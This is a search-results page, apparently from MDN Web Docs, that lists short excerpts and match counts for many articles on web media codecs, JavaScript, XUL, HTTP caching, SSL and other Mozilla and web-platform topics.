...in the past, this had to be simulated by treating the raw data as a string and using the charcodeat() method to read the bytes from the data buffer.
... javascript typed arrays provide a mechanism for accessing raw binary data much more efficiently.
...And 141 more matches
Web video codec guide - Web media technologies
at a typical 30 frames per second, each second of hd video would occupy 248,832,000 bytes (~249 mb).
... most video codecs are lossy, in that the decoded video does not precisely match the source.
... some details may be lost; the amount of loss depends on the codec and how it's configured, but as a general rule, the more compression you achieve, the more loss of detail and fidelity will occur.
...And 126 more matches
Regular expression syntax cheatsheet - JavaScript
this page provides an overall cheat sheet of all the capabilities of regexp syntax by aggregating the content of the articles in the regexp guide.
... character classes if you are looking to contribute to this document, please also edit the original article characters meaning .
... has one of the following meanings: matches any single character except line terminators: \n, \r, \u2028 or \u2029.
...And 123 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
in this article, i will describe mozilla's quirks mode, which provides strong backwards html compatibility with internet explorer and other legacy browsers.
... i'll also cover nonstandard technologies, such as xmlhttprequest and rich text editing, that mozilla does support because no w3c equivalent existed at the time.
...many browsers, such as internet explorer, also support pre-w3c apis and have never added extensive support for the w3c-compliant ones.
...And 117 more matches
mach
mach (german for to make) is a program via the "command-line interface" to help developers perform installation tasks such as installing firefox from its c++ source code.
... requirements mach requires a current version of /mozilla-central/ (or a tree derived from there).
... mach was committed on 2012-sep-26.
...And 114 more matches
Browser Detection and Cross Browser Support - Archive of obsolete content
this article reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a common sense approach to browser detection.
...note that some other browsers such as safari are reporting (like gecko) in their user agent strings and can confuse simple tests.
...however, we don't quite live in such a world yet.
...And 112 more matches
Mozilla accessibility architecture
intro this document is for people who wish to understand the architecture of mozilla's accessibility api module, which provides support for platform accessibility apis.
... accessibility apis are used by 3rd party software like screen readers, screen magnifiers, and voice dictation software, which need information about document content and ui controls, as well as important events like changes of focus.
...if you're interested in linux or unix accessibility, check out mozilla's atk project page.
...And 106 more matches
Using the application cache - HTML: Hypertext Markup Language
using this application cache feature is highly discouraged; it’s in the process of being removed from the web platform.
... as of firefox 44+, when appcache is used to provide offline support for a page, a warning message displays in the console advising developers to use service workers instead (bug 1204581).
... introduction html5 provides an application caching mechanism that lets web applications run offline.
...And 104 more matches
Web audio codec guide - Web media technologies
in this article, we look at audio codecs used on the web to compress and decompress audio, what their capabilities and use cases are, and offer guidance when choosing audio codecs to use for your content.
... common codecs the list below denotes the codecs most commonly used on the web and which containers (file types) support them.
... if all you need to know is which codecs are even possible to use, this is for you.
...And 101 more matches
Digital audio concepts - Web media technologies
representing audio in digital form involves a number of steps and processes, with multiple formats available both for the raw audio and the encoded or compressed audio which is actually used on the web.
...the granularity of an audio wave in the real world, then, is that of an individual molecule of the medium through which the sound wave is traveling.
... the sounds a person hears every day are, then, actually vibrations in the air which cause the inner workings of the ear.
...And 97 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
public-key cryptography and related standards and techniques underlie the security features of many products such as signed and encrypted email, single sign-on, and secure sockets layer (ssl) communications.
...for an overview of ssl, see "introduction to ssl." for an overview of encryption and decryption, see "encryption and decryption." information on digital signatures is available from "digital signatures." public-key cryptography is a set of well-established techniques and standards for protecting communications from eavesdropping, tampering, and impersonation attacks.
... encryption and decryption allow two communicating parties to disguise information they send to each other.
...And 90 more matches
HTTP Cache
this document describes the new http cache version 2.
... the code resides in /network/cache2.
... api here is a detailed description of the http cache v2 api, examples included.
...And 89 more matches
Image file type and format guide - Web media technologies
abbreviation file format mime type file extension(s) browser compatibility apng animated portable network graphics image/apng .apng chrome, edge, firefox, opera, safari bmp bitmap file image/bmp .bmp chrome, edge, firefox, internet explorer, opera, safari gif graphics interchange format image/gif .gif chrome, edge, firefox, internet explorer, opera, safari ico microsoft icon image/x-icon .ico, .cur chrome, edge, firefox, internet explorer, opera, safari jpeg...
... joint photographic expert group image image/jpeg .jpg, .jpeg, .jfif, .pjpeg, .pjp chrome, edge, firefox, internet explorer, opera, safari png portable network graphics image/png .png chrome, edge, firefox, internet explorer, opera, safari svg scalable vector graphics image/svg+xml .svg chrome, edge, firefox, internet explorer, opera, safari tiff tagged image file format image/tiff .tif, .tiff none built-in; add-ons required webp web picture format image/webp .webp chrome, edge, firefox, opera the abbreviation for each format links to a longer description of the format, its capabilities, and detailed browser compatibility information; including which versions introduced support and specific...
... image file type details the following sections provide a brief overview of each of the image file types supported by web browsers.
...And 89 more matches
Graceful asynchronous programming with Promises - Learn web development
previous overview: asynchronous next promises are a comparatively new feature of the javascript language that allow you to defer further actions until after a previous action has completed, or respond to its failure.
...let's consider a hypothetical video chat application.
...since getusermedia() has to ensure that the user has permission to use those devices and ask the user which microphone to use and which camera to use (or whether to be a voice-only call, among other possible options), it can block until not only all of those decisions are made, but also the camera and microphone have been engaged.
...And 88 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
for history, i've kept mozilla and netscape chapters, as certain points are complementary to the web-based autoconfig file.
... objective the objective is to provide users with a mailer agent, a web browser, and a news reader which are automatically configured (preferences) at startup to the current user connected on the computer.
... choosing mozilla products allow us to use the same apps while running either windows or linux systems (i suspect mac osx would be fine too).
...And 85 more matches
The Essentials of an Extension - Archive of obsolete content
rdf used to be the central storage mechanism for firefox, but it is now being replaced for a simpler database system.
... <em:id>helloworld@xulschool.com</em:id> this is the unique identifier for the extension.
...one is the email-like format in the hello world example, which should be something like <project-name>@<yourdomain>.
...And 83 more matches
Introducing a complete toolchain - Learn web development
previous overview: understanding client-side tools next in the final couple of articles in the series we will solidify your tooling knowledge by walking you through the process of building up a sample case study toolchain.
... objective: to solidify what we've learnt so far by working through a complete toolchain case study.
...many of today's code editors (such as vs code and atom) have integration support for a lot of tools via plugins.
...And 80 more matches
JXON - Archive of obsolete content
jxon (lossless javascript xml object notation) is a generic name by which is defined the representation of javascript objects using xml.
...there are some cases in which the whole content of an xml document must be read from the javascript interpreter (like for web-apps languages or settings xml documents, for example).
... conversion snippets now imagine you have this sample xml document: example.xml <?xml version="1.0"?> <!doctype catalog system "catalog.dtd"> <catalog> <product description="cardigan sweater"> <catalog_item gender="men's"> <item_number>qwz5671</item_number> <price>39.95</price> <size description="medium"> <color_swatch image="red_cardigan.jpg">red</color_swatch> <color_swatch image="burgundy_cardigan.jpg">burgundy</color_swatch> </size> <size description="large"> <color_swatch image="red_cardigan.jpg">red</color_swatch> <color_swatch image="burgundy_cardigan.jpg">burgundy</color_swatch> </size> </catalog_item> <catalog_item gender="women's"> <item_number>rrx9856</i...
...And 78 more matches
XUL Structure - Archive of obsolete content
how xul is handled in mozilla, xul is handled in much the same way as html or other types of content are handled.
...style sheets (css), images, and other technologies are used to control the presentation.
... xul functions in much the same way.
...And 77 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
the autocomplete functionality is handled through one of more session objects, each of which can return a set of results given the current value of the textbox.
... the sessions can be set using the searchsessions attribute or by calling the addsession method.
... attributes accesskey, alwaysopenpopup, autocompletesearch, autocompletesearchparam, autofill, autofillaftermatch, autofill, completedefaultindex, crop, disableautocomplete, disableautocomplete, disabled, disablehistory, enablehistory, focused, forcecomplete, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, ignoreblurwhilesearching, inputtooltiptext, label, maxlength, maxrows, minresultsforpopup, minresultsforpopup, nomatch, onchange, onerrorcommand, oninput, onsearchcomplete, ontextcommand, ontextentered, ontextrevert, ontextreverted, open, readonly, searchsessions, showcommentcolumn, showcommentcolumn, showpopup, size, tabindex, tabscrolling, tabscrolling, timeout, type, useraction, value properties accessible, alwaysopenpopup, autofill, autofill...
...And 75 more matches
HTTP caching - HTTP
WebHTTPCaching
the performance of web sites and applications can be significantly improved by reusing previously fetched resources.
... web caches reduce latency and network traffic and thus lessen the time needed to display a representation of a resource.
... by making use of http caching, web sites become more responsive.
...And 70 more matches
MMgc - Archive of obsolete content
the garbage collector is "managing" it, detecting when the memory is no longer reachable from anywhere in the application and reclaiming it at that time.
...another way to think about it: unmanaged memory is c++ operators new and delete managed memory is c++ operator new, with optional delete mmgc contains a page allocator called gcheap, which allocates large blocks (megabytes) of memory from the system and doles out 4kb pages to the unmanaged memory allocator (fixedmalloc) and the managed memory allocator (gc).
... each instance manages its own set of objects; objects are not allowed to reference objects in other gc instances.
...And 68 more matches
The Implementation of the Application Object Model - Archive of obsolete content
this section makes a technical argument both for having xul in the first place and for using rdf as the underlying implementation of xul's content model.
... the second section describes the xul/rdf architecture itself and outlines enhancements to the xul language in order to allow the markup language to reference local data and to indicate how and when it would like to be annotatable with local data.
... the case for the xul/rdf approach what is xul?
...And 68 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
well, xul overlays and windows, jsm files, chrome & resource mappings with localization, default preferences, but no xpcom components of your own.
...this guide targets firefox 17 esr or later (or anything else gecko 17+, such as seamonkey 2.14+).
... this is two esrs back (as of this writing), which should be plenty.
...And 66 more matches
The "codecs" parameter in common media types - Web media technologies
at a fundamental level, you can specify the type of a media file using a simple mime type, such as video/mp4 or audio/mpeg.
... general syntax a basic mime media type is expressed by stating the type of media (audio, video, etc), then a slash character (/), then the container format used to contain the media: audio/mpeg an audio file using the mpeg file type, such as an mp3.
... however, each of these mime types is vague.
...And 66 more matches
Using the Web Speech API - Web APIs
the web speech api provides two distinct areas of functionality — speech recognition, and speech synthesis (also known as text to speech, or tts) — which open up interesting new possibilities for accessibility, and control mechanisms.
... speech recognition speech recognition involves receiving speech through a device's microphone, which is then checked by a speech recognition service against a list of grammar (basically, the vocabulary you want to have recognised in a particular app.) when a word or phrase is successfully recognised, it is returned as a result (or list of results) as a text string, and further actions can be initiated as a result.
... the web speech api has a main controller interface for this — speechrecognition — plus a number of closely-related interfaces for representing grammar, results, etc.
...And 65 more matches
JavaScript Daemons Management - Archive of obsolete content
in such a condition it is difficult and unnatural to keep track of all events started and then to stop them when appropriate through the cleartimeout() function.
... a possible approach to solve this problem is to nest all the information needed by each animation to start, stop, etc.
... in different objects (daemons) and then to create a constructor for such a class of objects (daemon) in order to standardize and simplify the instantiation of them.
...And 64 more matches
<input type="search"> - HTML: Hypertext Markup Language
WebHTMLElementinputsearch
<input> elements of type search are text fields designed for the user to enter search queries into.
... value a domstring representing the value contained in the search field.
... events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, required, size.
...And 63 more matches
Elements - Archive of obsolete content
<!element bindings ( binding* ) > hierarchy: root element may contain: <binding> the bindings element is the root element of any xbl document.
... bindings contains zero or more binding elements as children.
... each binding child element defines a unique binding that can be attached to elements in other documents.
...And 62 more matches
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
(for seamonkey 2, firefox, thunderbird and sunbird, see the page: custom toolbar button) you do not need any special technical skills or tools, and almost all the information you need is on this page.
... introduction the technique described here does not involve any hacking.
...it adds a menu choice to chatzilla's menu bar (because chatzilla has no toolbar).
...And 62 more matches
Fetching data from the server - Learn web development
this seemingly small detail has had a huge impact on the performance and behavior of sites, so in this article, we'll explain the concept and look at technologies that make it possible, such as xmlhttprequest and the fetch api.
... prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to fetch data from the server and use it to update the contents of a web page.
... enter ajax this led to the creation of technologies that allow web pages to request small chunks of data (such as html, xml, json, or plain text) and display them only when needed, helping to solve the problem described above.
...And 62 more matches
page-mod - Archive of obsolete content
run scripts in the context of web pages whose url matches a given pattern.
... usage to use page-mod, you specify: one or more scripts to attach.
... a pattern that a page's url must match, in order for the script(s) to be attached to that page.
...And 60 more matches
jspage - Archive of obsolete content
a={array:array,date:date,function:function,number:number,regexp:regexp,string:string};for(var h in a){new native({name:h,initialize:a[h],protect:true}); }var d={"boolean":boolean,"native":native,object:object};for(var c in d){native.typize(d[c],c);}var f={array:["concat","indexof","join","lastindexof","pop","push","reverse","shift","slice","sort","splice","tostring","unshift","valueof"],string:["charat","charcodeat","concat","indexof","lastindexof","match","replace","search","slice","split","substr","substring","tolowercase","touppercase","valueof"]}; for(var e in f){for(var b=f[e].length;b--;){native.genericize(a[e],f[e][b],true);}}})();var hash=new native({name:"hash",initialize:function(a){if($type(a)=="hash"){a=$unlink(a.getclean()); }for(var b in a){this[b]=a[b];}return this;}});hash.i...
...mplement({foreach:function(b,c){for(var a in this){if(this.hasownproperty(a)){b.call(c,this[a],a,this); }}},getclean:function(){var b={};for(var a in this){if(this.hasownproperty(a)){b[a]=this[a];}}return b;},getlength:function(){var b=0;for(var a in this){if(this.hasownproperty(a)){b++; }}return b;}});hash.alias("foreach","each");array.implement({foreach:function(c,d){for(var b=0,a=this.length;b<a;b++){c.call(d,this[b],b,this);}}});array.alias("foreach","each"); function $a(b){if(b.item){var a=b.length,c=new array(a);while(a--){c[a]=b[a];}return c;}return array.prototype.slice.call(b);}function $arguments(a){return function(){return arguments[a]; };}function $chk(a){return !!(a||a===0);}function $clear(a){cleartimeout(a);clearinterval(a);return null;}function $defined(a){return(a!=undefined...
...);}function $each(c,b,d){var a=$type(c); ((a=="arguments"||a=="collection"||a=="array")?array:hash).each(c,b,d);}function $empty(){}function $extend(c,a){for(var b in (a||{})){c[b]=a[b];}return c; }function $h(a){return new hash(a);}function $lambda(a){return($type(a)=="function")?a:function(){return a;};}function $merge(){var a=array.slice(arguments); a.unshift({});return $mixin.apply(null,a);}function $mixin(e){for(var d=1,a=arguments.length;d<a;d++){var b=arguments[d];if($type(b)!="object"){continue; }for(var c in b){var g=b[c],f=e[c];e[c]=(f&&$type(g)=="object"&&$type(f)=="object")?$mixin(f,g):$unlink(g);}}return e;}function $pick(){for(var b=0,a=arguments.length; b<a;b++){if(arguments[b]!=undefined){return arguments[b];}}return null;}function $random(b,a){return math.floor(math.random()...
...And 60 more matches
XUL element attributes - Archive of obsolete content
« xul reference home the following attributes are common to all xul elements: align type: one of the values below the align attribute specifies how child elements of the box are aligned, when the size of the box is larger than the total size of the children.
... for boxes that have horizontal orientation, it specifies how its children will be aligned vertically.
... for boxes that have vertical orientation, it specifies how its children will be aligned horizontally.
...And 60 more matches
Notes on HTML Reflow - Archive of obsolete content
overview reflow is the process by which the geometry of the layout engine's formatting objects are computed.
... the html formatting objects are called frames : a frame corresponds to the geometric information for (roughly) a single element in the content model; the frames are arranged into a hierarchy that parallels the containment hierarchy in the content model.
...all html reflow, including the initial reflow , begins at the root frame , which corresponds to the <html> element of the html document.
...And 58 more matches
Link prefetching FAQ - HTTP
what is link prefetching?
... link prefetching is a browser mechanism, which utilizes browser idle time to download or prefetch documents that the user might visit in the near future.
... a web page provides a set of prefetching hints to the browser, and after the browser is finished loading the page, it begins silently prefetching specified documents and stores them in its cache.
...And 58 more matches
Building accessible custom components in XUL - Archive of obsolete content
introduction dhtml accessibility is a new technology which enables developers to construct accessible controls within (x)html pages.
...assistive technologies could only see the generic html markup used to build the control; they had no way of knowing that a particular collection of div and span elements should be treated as a single cohesive control (such as a tab bar or a treeview).
... by implementing dhtml accessibility techniques, web developers can declare that generic html elements are really acting as specific gui controls (such as a treeitem within a treeview).
...And 57 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
toolkit applications (such as firefox) use a different autocomplete mechanism than the mozilla suite.
... the example below will create an autocomplete textbox that will search the user's history.
... attributes accesskey, autocompletepopup, autocompletesearch, autocompletesearchparam, completedefaultindex, completeselectedindex,crop, disableautocomplete, disabled, disablekeynavigation, enablehistory, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputtooltiptext, label, maxlength, maxrows, minresultsforpopup, nomatch, onchange, oninput, onsearchcomplete, ontextentered, ontextreverted, open, readonly,showcommentcolumn, showimagecolumn, size, tabindex, tabscrolling, timeout, type, value properties accessibletype, completedefaultindex, controller, crop, disableautocomplete, disablekeynavigation, disabled, editable, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputfield, label, maxlength, maxrows, minresultsforpopup, ope...
...And 57 more matches
Introduction to SSL - Archive of obsolete content
other protocols, such as the hypertext transport protocol (http), lightweight directory access protocol (ldap), or internet messaging access protocol (imap), run "on top of" tcp/ip in the sense that they all use tcp/ip to support typical application tasks such as displaying web pages or running email servers.
... the ssl protocol runs above tcp/ip and below higher-level protocols such as http or imap.
... it uses tcp/ip on behalf of the higher-level protocols, and in the process allows an ssl-enabled server to authenticate itself to an ssl-enabled client, allows the client to authenticate itself to the server, and allows both machines to establish an encrypted connection.
...And 57 more matches
Introducing asynchronous JavaScript - Learn web development
previous overview: asynchronous next in this article we briefly recap the problems associated with synchronous javascript, and take a first look at some of the different asynchronous techniques you'll encounter, showing how they can help us solve such problems.
... objective: to gain familiarity with what asynchronous javascript is, how it differs from synchronous javascript, and what use cases it has.
... synchronous javascript to allow us to understand what asynchronous javascript is, we ought to start off by making sure we understand what synchronous javascript is.
...And 57 more matches
Application cache implementation overview
loading a top level document from offline cache this happens in nshttpchannel::opencacheentry().
... all top level document loading (navigation) channels are set chooseapplicationcache flag, which happens in nsdocshell::douriload().
... channels having that flag set are searching for nsiapplicationcache object prior inspecting normal http cache.
...And 57 more matches
Codecs used by WebRTC - Web media technologies
to communicate, the two devices need to be able to agree upon a mutually-understood codec for each track so they can successfully communicate and present the shared media.
... containerless media webrtc uses bare mediastreamtrack objects for each track being shared from one peer to another, without a container or even a mediastream associated with the tracks.
... which codecs can be within those tracks is not mandated by the webrtc specification.
...And 56 more matches
XUL accessibility guidelines - Archive of obsolete content
by following these principles and practices, you will be able to write your xul applications in such a way that all users, including those with physical, sensory, or communicative disabilities, with be able to use and enjoy them.
... accessibility is not difficult, but does require a basic understanding of the different types of disabilities, commonly used assistive technologies, and special accessibility features built into the xul languages.
... there is also a xul accessibility tool which can help test some of these guidelines, but please be aware that no tool can replace human judgement for accessibility, and understanding the guidelines is vital.
...And 54 more matches
Property cache
spidermonkey's property cache is an internal data structure used to speed up property accesses in the interpreter and to communicate between the interpreter and jit.
...the property cache still exists, but it is simpler now.
... spidermonkey mainly uses type inference to determine which properties are being accessed; in cases where type inference does not find the exact shape of the object being accessed, spidermonkey uses a pic (polymorphic inline caches) to store the result of the lookup.
...And 53 more matches
Cache - Web APIs
WebAPICache
the cache interface provides a storage mechanism for request / response object pairs that are cached, for example as part of the serviceworker life cycle.
... note that the cache interface is exposed to windowed scopes as well as workers.
... an origin can have multiple, named cache objects.
...And 53 more matches
OpenSearch description format
the opensearch description format lets a website describe a search engine for itself, so that a browser or other client application can use that search engine.
... opensearch is supported by (at least) firefox, edge, internet explorer, safari, and chrome.
... (see reference material for links to other browsers' documentation.) firefox also supports additional features not in the opensearch standard, such as search suggestions and the <searchform> element.
...And 53 more matches
Style System Overview - Archive of obsolete content
selector matches elements in the document.
... rule applies to matched elements.
... “cascaded” value for property + element: if 0 rules matching the element have the property: some properties inherit and some properties use initial value.
...And 52 more matches
Chrome registration
what is chrome?
... chrome is the set of user interface elements of the application window that are outside the window's content area.
... toolbars, menu bars, progress bars, and window title bars are all examples of elements that are typically part of the chrome.
...And 52 more matches
Component; nsIPrefBranch
component: nsiprefbranch modules/libpref/public/nsiprefbranch.idlscriptable this interface is used to manipulate the preferences data.
... inherits from: nsisupports last changed in gecko 58 (firefox 58 / thunderbird 58 / seamonkey 2.55) this object is created with a "root" value which describes the base point in the preferences "tree" from which this "branch" stems.
... method overview void addobserver(in string adomain, in nsiobserver aobserver, in boolean aholdweak); void clearuserpref(in string aprefname); void deletebranch(in string astartingat); boolean getboolpref(in string aprefname, requires gecko 54 [optional] in boolean adefaultvalue); string getcharpref(in string aprefname,requires gecko 54 [optional] in string adefaultvalue); requires gecko 58 utf8tring getstringpref(in string aprefname, [optional] in utf8string adefaultvalue); void getchildlist(in string astartingat, [op...
...And 52 more matches
Manifest Files - Archive of obsolete content
« previousnext » in this section, we'll see how to put chrome and xul files into a package and create the manifest files for them.
...packages may be installed into mozilla and referenced with chrome urls.
...a package can be stored either as a directory or as a jar archive.
...And 51 more matches
nss tech note5
using nss to perform miscellaneous cryptographic operations nss technical note: 5 nss project info is at http://www.mozilla.org/projects/security/pki/nss/ you can browse the nss source online at http://lxr.mozilla.org/mozilla/source/security/nss/ and http://lxr.mozilla.org/security/ be sure to look for sample code first for things you need to do.
... encrypt/decrypt include headers #include "nss.h" #include "pk11pub.h" make sure nss is initialized.the simplest init function, in case you don't need a nss database is nss_nodb_init(".") choose a cipher mechanism.
... note that some mechanisms (*_pad) imply the padding is handled for you by nss.
...And 51 more matches
Using Touch Events - Web APIs
however, devices with touch screens (especially portable devices) are mainstream and web applications can either directly process touch-based input by using touch events or the application can use interpreted mouse events for the application input.
... a disadvantage to using mouse events is that they do not support concurrent user input, whereas touch events support multiple simultaneous inputs (possibly at different locations on the touch surface), thus enhancing user experiences.
... the touch events interfaces support application specific single and multi-touch interactions such as a two-finger gesture.
...And 51 more matches
Appendix: What you should know about open-source software licenses - Archive of obsolete content
this document was authored by yutaka kachi and was originally published in japanese for the firefox developers conference summer 2007.
...in this chapter, i’ll explain some of the basics: what open-source software (oss) licenses are, what types of licenses exist, and when they’re appropriate.
... what are the different kinds of oss licenses and what are their key characteristics?
...And 50 more matches
Menu - Archive of obsolete content
ArchiveMozillaJetpackUIMenu
note: this page documents the jetpack prototype, which has since been replaced by the add-on sdk.
... features can also create new menus and attach them almost anywhere, chrome or content, as popup menus or context menus.
... two namespaces are associated with this api: jetpack.menu, which provides access to the browser's menus, and jetpack.menu, the constructor for making new menus.
...And 50 more matches
Tree View Details - Archive of obsolete content
creating a hierarchical custom view in the last section, we created a simple tree view that implemented only a minimum amount of functionality.
...here, we will examine how to create a hierarchical set of items using the view.
... this is a fairly tricky process as it involves keeping track of which items have children and also which rows are open and closed.
...And 50 more matches
tree - Archive of obsolete content
ArchiveMozillaXULtree
« xul reference home [ examples | attributes | properties | methods | related ] a container which can be used to hold a tabular or hierarchical set of rows of elements.
...each row of the tree may contain child rows which are displayed indented from the parent.
...there are several ways in which trees are used, as listed below.
...And 50 more matches
nsIChannel
netwerk/base/nsichannel.idlscriptable this interface allows clients to construct 'get' requests for specific protocols, and manage them in a uniform way.
... inherits from: nsirequest last changed in gecko 19.0 (firefox 19.0 / thunderbird 19.0 / seamonkey 2.16) once a channel is created (via nsiioservice.newchannel()), parameters for that request may be set by using the channel attributes, or by calling queryinterface() to retrieve a subclass of nsichannel for protocol-specific parameters.
... then, the uri can be fetched by calling open() or asyncopen().
...And 50 more matches
Anonymous Content - Archive of obsolete content
this template describes a content tree that will be generated around the bound element during binding attachment.
... an element declared in a bound document using a single tag can then be constructed out of multiple child elements, and this implementation is hidden from the bound document.
... scoping and access using the dom when a binding is attached and certain conditions are met, the children of the binding's content element are cloned.
...And 49 more matches
<input type="checkbox"> - HTML: Hypertext Markup Language
WebHTMLElementinputcheckbox
<input> elements of type checkbox are rendered by default as boxes that are checked (ticked) when activated, like you might see in an official government paper form.
... the exact appearance depends upon the operating system configuration under which the browser is running.
...a checkbox allows you to select single values for submission in a form (or not).
...And 49 more matches
Preferences - Archive of obsolete content
two used interfaces are nsiprefservice and nsiprefbranch.
...to get an nsiprefbranch, either queryinterface() the pref service (that will give you the root branch) or call nsiprefservice.getbranch() to get a sub-branch.
... here are two examples: // get the root branch var prefs = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefbranch); // get the "extensions.myext." branch var prefs = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice); prefs = prefs.getbranch("extensions.myext."); simple types there are three types of preferences: string, integer, and boolean.
...And 48 more matches
Adding preferences to an extension - Archive of obsolete content
« previousnext » this article takes the creating a dynamic status bar extension sample to the next level, adding a popup menu that lets you quickly switch between multiple stocks to watch.
... it also adds a preference dialog that lets you switch to a stock other than one of the ones included in the popup menu.
... get the code here: download the sample update the manifests the install manifest and chrome manifest need to be updated.
...And 48 more matches
A XUL Bestiary - Archive of obsolete content
in contrast to the mozilla jargon file, this article describes items of specific interest to the web or content developer looking to establish a context for understanding mozilla's new technologies -- and in particular mozilla's xml-based user interface language, xul.
... chrome some of the most powerful and frequently misunderstood features of xul and the mozilla browser have to do with chrome.
... the term chrome is used in different contexts to mean different things.
...And 48 more matches
From object to iframe — other embedding technologies - Learn web development
<iframe>s are for embedding other web pages, and the other two allow you to embed pdfs, svg, and even flash — a technology that is on the way out, but which you'll still see semi-regularly.
...these were embedded in a master document called a frameset, which allowed you to specify the area on the screen that each frame filled, rather like sizing the columns and rows of a table.
... these were considered the height of coolness in the mid to late 90s, and there was evidence that having a webpage split up into smaller chunks like this was better for download speeds — especially noticeable with network connections being so slow back then.
...And 48 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
previous overview: asynchronous next this tutorial looks at the traditional methods javascript has available for running code asychronously after a set time period has elapsed, or at a regular interval (e.g.
... objective: to understand asynchronous loops and intervals and what they are useful for.
... introduction for a long time, the web platform has offered javascript programmers a number of functions that allow them to asynchronously execute code after a certain time interval has elapsed, and to repeatedly execute a block of code asynchronously until you tell it to stop.
...And 48 more matches
Touch events - Web APIs
to provide quality support for touch-based user interfaces, touch events offer the ability to interpret finger (or stylus) activity on touch screens or trackpads.
... the touch events interfaces are relatively low-level apis that can be used to support application-specific multi-touch interactions such as a two-finger gesture.
... a multi-touch interaction starts when a finger (or stylus) first touches the contact surface.
...And 48 more matches
jpm - Archive of obsolete content
to test your installation, run: /usr/bin/env node -v if you get an error message saying /usr/bin/env: node: no such file or directory and you have installed nodejs through a package manager, nodejs may have been installed under a different executable name.
...on debian and ubuntu, this can be remedied by ensuring you installed the compatibility package, nodejs-legacy: sudo apt-get install nodejs-legacy on other distributions, you may have to create a local symlink to nodejs manually: sudo ln -s "$(which nodejs)" /usr/local/bin/node installing jpm after you have npm installed and node on your path, install jpm just as you would any other npm package.
...any add-on which you are in the process of developing) in the branded release or beta versions of firefox.
...And 46 more matches
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
in addition, binary components need to be recompiled for every major firefox release, which can be frustrating.
...on the other hand, if you are an experienced developer or team, and you know that you are going to build a large, complex extension, you would do well to consider the approach described in this article.
... one final note: i've only tried these techniques inside firefox, but they'll probably work more or less unchanged on other gecko-based platforms like thunderbird or seamonkey.
...And 46 more matches
Gecko Compatibility Handbook - Archive of obsolete content
- some inline examples were removed because of technical limitations.
... gecko is an embeddable browser, developed as part of the mozilla open source project and based on w3 standards rather than the proprietary approaches of the past.
...gecko since 1997, much of the web's content has been developed for microsoft internet explorer 4 or netscape navigator 4.
...And 46 more matches
Character classes - JavaScript
character classes distinguish kinds of characters such as, for example, distinguishing between letters and digits.
... types the following table is also duplicated on this cheatsheet.
... characters meaning .
...And 46 more matches
Enhanced Extension Installation - Archive of obsolete content
first it must locate the firefox executable, then run it with the -install-global-extension command line flag, which installs from a xpi into the firefox application directory.
... aside from the work of locating the firefox executable in the first place (which varies from platform to platform), this is very limiting because: it forces the third party application to package its firefox integration hooks as a xpi.
... it forces it to have write access to the firefox directory in order to be installed, which may not always be the case.
...And 45 more matches
URIs and URLs - Archive of obsolete content
resources are identified by uri "uniform resource identifier" (taken from rfc 2396): uniform uniformity provides several benefits: it allows different types of resource identifiers to be used in the same context, even when the mechanisms used to access those resources may differ; it allows uniform semantic interpretation of common syntactic conventions across different types of resource identifiers; it allows introduction of new types of resource identifiers without interfering with the way that existing identifiers are used; and, it allows the identifiers to be reused in many different contexts, thus permitting new applica...
...the resource is the conceptual mapping to an entity or set of entities, not necessarily the entity which corresponds to that mapping at any particular instance in time.
... thus, a resource can remain constant even when its content---the entities to which it currently corresponds---changes over time, provided that the conceptual mapping is not changed in the process.
...And 45 more matches
Complete - Archive of obsolete content
if you want to see these techniques in action, then you can download and install the complete allcustom extension: allcustom.xpi (the link is external only because this wiki does not support xpi files.) the extension does not contain any useful functions.
...it provides a user interface in two languages (english and french).
...it provides all five custom toolbar buttons on all the toolbars, and it provides corresponding menu choices in seamonkey's chatzilla window.
...And 45 more matches
Using Fetch - Web APIs
the fetch api provides a javascript interface for accessing and manipulating parts of the http pipeline, such as requests and responses.
... it also provides a global fetch() method that provides an easy, logical way to fetch resources asynchronously across the network.
... this kind of functionality was previously achieved using xmlhttprequest.
...And 45 more matches
Media container formats (file types) - Web media technologies
instead, it streams the encoded audio and video tracks directly from one peer to another using mediastreamtrack objects to represent each track.
...the mime types and extensions for each are listed.the most commonly used containers for media on the web are probably mpeg-4 (mp4), quicktime movie (mov), and the wavefile audio file format (wav).
...a good example of this is the mp3 audio file, which is in fact an mpeg-1 container with a single audio track encoded using mpeg-1 audio layer iii encoding.
...And 45 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
introduction when you click a link on a web page, your web browser makes a request to a web server which usually results in a new web page as a response.
... that new page may have links that take you to other pages, which may in turn have more links, and so on.
...and for users it usually doesn't begin to approach the seamlessness and usability of good application user interfaces.
...And 44 more matches
textbox - Archive of obsolete content
attributes cols, decimalplaces, disabled, emptytext, hidespinbuttons, increment, label, max, maxlength, min, multiline, newlines, onblur, onchange, onfocus, oninput, placeholder, preference, readonly, rows, searchbutton, size, spellcheck, tabindex, timeout, type, value, wrap, wraparound properties accessibletype, clickselectsall, decimalplaces, decimalsymbol, defaultvalue, disabled, editor, emptytext, increment, inputfield, label, max, maxlength, min, placeholder, readonly, searchbutton, selectionend, selectionstart, size, spinbutt...
...the default is 0, which doesn't show any decimal places.
...do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case.
...And 44 more matches
RDF in Mozilla FAQ - Archive of obsolete content
the rdf back-end architecture document describes in more detail how mozilla's rdf implementation works, and gives a quick overview of the interfaces that are involved.
... if you have problems with the dmoz and chefmoz data, it's best to contact those projects directly.
...by loading chunks of it into a xul ui from a remote site), don't forget to let mozilla-rdf and the rdf interest group lists know.
...And 44 more matches
A guide to searching crash reports
